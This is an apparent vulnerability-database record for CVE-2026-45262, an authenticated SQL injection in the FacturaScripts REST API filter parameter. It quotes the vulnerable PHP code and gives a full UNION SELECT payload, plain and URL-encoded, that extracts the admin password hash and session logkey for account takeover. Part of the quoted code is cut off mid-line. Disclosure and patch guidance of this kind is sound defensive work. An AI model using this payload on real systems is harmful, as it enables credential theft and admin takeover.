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Response snapshot Nov 3, 2026, 01:01 UTC

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VulnerabilityCVE-2026-45262

FacturaScripts: Authenticated SQL injection in the FacturaScripts REST API filter parameter via parenthesis bypass in `Where::sqlColumn`

> Live PoC verified 2026-04-30 against a stock FacturaScripts master at 127.0.0.1:8081. A scoped ApiKey with fullaccess=0 and an ApiAccess row granting allowget=1 on the clientes resource only (no other rights, no UI session, no admin) issued one GET /api/3/clientes?filter[(0)UNION%20SELECT%20...]

Published Updated

At a glance

Exploited
Not known
Severity
9.9 Critical (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: facturascripts/facturascripts: 2026.2. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-5qmh-x653-g8qj (opens a new tab)

What happened

Summary

> Live PoC verified 2026-04-30 against a stock FacturaScripts master at 127.0.0.1:8081. A scoped ApiKey with fullaccess=0 and an ApiAccess row granting allowget=1 on the clientes resource only (no other rights, no UI session, no admin) issued one GET /api/3/clientes?filter[(0)UNION%20SELECT%20...]= request and the response body contained the raw bcrypt hash of the admin user's password ($2y$12$sLfA/XCqnjqLmYJwK.

2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO) and the admin's logkey cookie value. The leaked logkey was injected into a fresh cookie jar and GET /AdminPlugins returned 200 with the admin plugin management UI. End-to-end account takeover from a read-only token with no CSRF, no second factor, no rate-limit interaction beyond the default 5-incident IP throttle.

Core/Where.php::sqlColumn() exempts any field name that contains both ( and ) from identifier escaping. The two API filter builders (APIModel::getWhereValues and ApiAttachedFiles::getWhereValues) feed the raw request key ($_GET['filter'][$key]) straight into new DataBaseWhere($key, $value, '=', ...)

Continue reading

When the model's all() reaches Where::multiSqlLegacy -> Where::sql() -> Where::sqlColumn($key), the parenthesis branch returns the attacker-controlled string unmodified. The string is concatenated into WHERE = ' ', which an attacker can pivot to WHERE (0)UNION SELECT ... FROM users WHERE(nick='admin')-- = 'value', leaking arbitrary columns from any table.

the API filter pipeline never validates filter keys

Core/Lib/API/APIModel.php:300-322 (listAll):

protected function listAll(): bool
{
 $filter = $this->request->query->getArray('filter');
 $limit = $this->request->query->getInt('limit', 50);
 $offset = $this->request->query->getInt('offset', 0);
 $operation = $this->request->query->getArray('operation');
 $order = $this->request->query->getArray('sort');

 // obtenemos los registros
 $data = [];
 $hidden = $this->model->getApiFieldsToHide();
 $where = $this->getWhereValues($filter, $operation);
 foreach ($this->model->all($where, $order, $offset, $limit) as $item) {
 $data[] = $this->filterHidden($item->toArray(true), $hidden);
 }
 ...

Core/Lib/API/APIModel.php:231-298 (getWhereValues):

private function getWhereValues($filter, $operation, $defaultOperation = 'AND'): array
{
 $where = [];
 foreach ($filter as $key => $value) {
 $field = $key; // (1) raw request key
 $operator = '=';

 switch (substr($key, -3)) { // suffix routing only
 case '_gt': $field = substr($key, 0, -3); $operator = '>'; break;
 case '_is': $field = substr($key, 0, -3); $operator = 'IS'; break;
 case '_lt': $field = substr($key, 0, -3); $operator = ' ` route and the dedicated `/api/3/attachedfiles` route.

### `DataBaseWhere::getSQLWhere` now delegates to `Where::multiSqlLegacy`

`Core/Base/DataBase/DataBaseWhere.php` is marked `@deprecated` and the active code path runs through `Core/Where.php::multiSqlLegacy` (lines 151-199), which converts each legacy `DataBaseWhere` instance to a `Where`:

php if ($item instanceof DataBaseWhere) { $dbWhere = new self($item->fields, $item->value, $item->operator, $item->operation, $item->useField ?? false); ... $sql .= $dbWhere->sql(); ... }


`Where::sql()` (lines 316-403) finally calls `self::sqlColumn($field)` for the identifier in every operator branch, including the `=` branch the attacker reaches.

### `Where::sqlColumn` returns parenthesised inputs untouched

`Core/Where.php:407-425`:

php private static function sqlColumn(string $field): string { // si lleva paréntesis, no escapamos if (strpos($field, '(') !== false && strpos($field, ')') !== false) { return $field; // (3) raw concatenation }

// si empieza por integer, hacemos el cast if (substr($field, 0, 8) === 'integer:') { return self::db()->castInteger(substr($field, 8)); }

// si empieza por lower, hacemos el lower if (substr($field, 0, 6) === 'lower:') { return 'LOWER(' . self::db()->escapeColumn(substr($field, 6)) . ')'; }

return self::db()->escapeColumn($field); }


The intent of the early-return appears to be supporting expression columns like `LOWER(col)` and `UPPER(col)` in `select`, `where`, and `groupBy` builder calls, but the check is purely string presence: any input containing **both** `(` and `)` is whitelisted, with no constraint on what the string actually is. The same exemption affects every consumer that routes through `Where::sqlColumn`, including `select()`, `whereLike()`, `whereIn()`, etc. (`Core/Where.php:317-405`).

### what an attacker submits

Reaching the sink requires the two characters `(` and `)` somewhere in the filter key. The attacker therefore passes:

filter[(0)UNION SELECT IFNULL(password,2),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 FROM users WHERE(nick='admin')-- ]=


URL encoded for HTTP transport:

filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=


The `clientes` table has 32 columns; the UNION mirrors that count so the database accepts the merged result set. The trailing `-- ` swallows the rest of the framework's appended SQL (`= ' ' LIMIT 50 OFFSET 0`). The result is one record whose first column is the admin's password hash, returned in the JSON body's `cifnif` key (the first column in the original query's `SELECT *`).

### why the `getApiFieldsToHide()` defence does not apply

Commit `736b811` added `getApiFieldsToHide()` to the `User` model, which redacts `password`, `logkey`, and `two_factor_secret_key` from the JSON serialiser:

php public function getApiFieldsToHide(): array { return ['password', 'logkey', 'two_factor_secret_key']; }


This works for `GET /api/3/users` requests by a fullaccess token: the model 

Affected package ranges reported by GitHub:
facturascripts/facturascripts: <= 2026.1

Scores and how they were measured

CVSS base severity

9.9

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

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Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-5qmh-x653-g8qj (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-5qmh-x653-g8qj, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 2). FacturaScripts: Authenticated SQL injection in the FacturaScripts REST API filter parameter via parenthesis bypass in `Where::sqlColumn` (CVE-2026-45262). https://kevwire.com/record/CVE-2026-45262

MLA

"FacturaScripts: Authenticated SQL injection in the FacturaScripts REST API filter parameter via parenthesis bypass in `Where::sqlColumn` (CVE-2026-45262)." KEVWire, 2 Nov. 2026, kevwire.com/record/CVE-2026-45262.

Chicago

KEVWire. "FacturaScripts: Authenticated SQL injection in the FacturaScripts REST API filter parameter via parenthesis bypass in `Where::sqlColumn` (CVE-2026-45262)." Last modified November 2, 2026. https://kevwire.com/record/CVE-2026-45262.

Evidence summary (plain text)

FacturaScripts: Authenticated SQL injection in the FacturaScripts REST API filter parameter via parenthesis bypass in `Where::sqlColumn` (Jul 14, 2026).
> Live PoC verified 2026-04-30 against a stock FacturaScripts master at 127.0.0.1:8081. A scoped ApiKey with fullaccess=0 and an ApiAccess row granting allowget=1 on the clientes resource only (no other rights, no UI session, no admin) issued one GET /api/3/clientes?filter[(0)UNION%20SELECT%20...]= request and the response body contained the raw bcrypt hash of the admin user's password ($2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO) and the admin's logkey cookie value.
CVSS 9.9 (version 3.1; evidence as of Nov 2, 2026; https://github.com/advisories/GHSA-5qmh-x653-g8qj).
Sources:
GitHub-reviewed advisory GHSA-5qmh-x653-g8qj: https://github.com/advisories/GHSA-5qmh-x653-g8qj
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-45262.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 3, 2026, 01:00 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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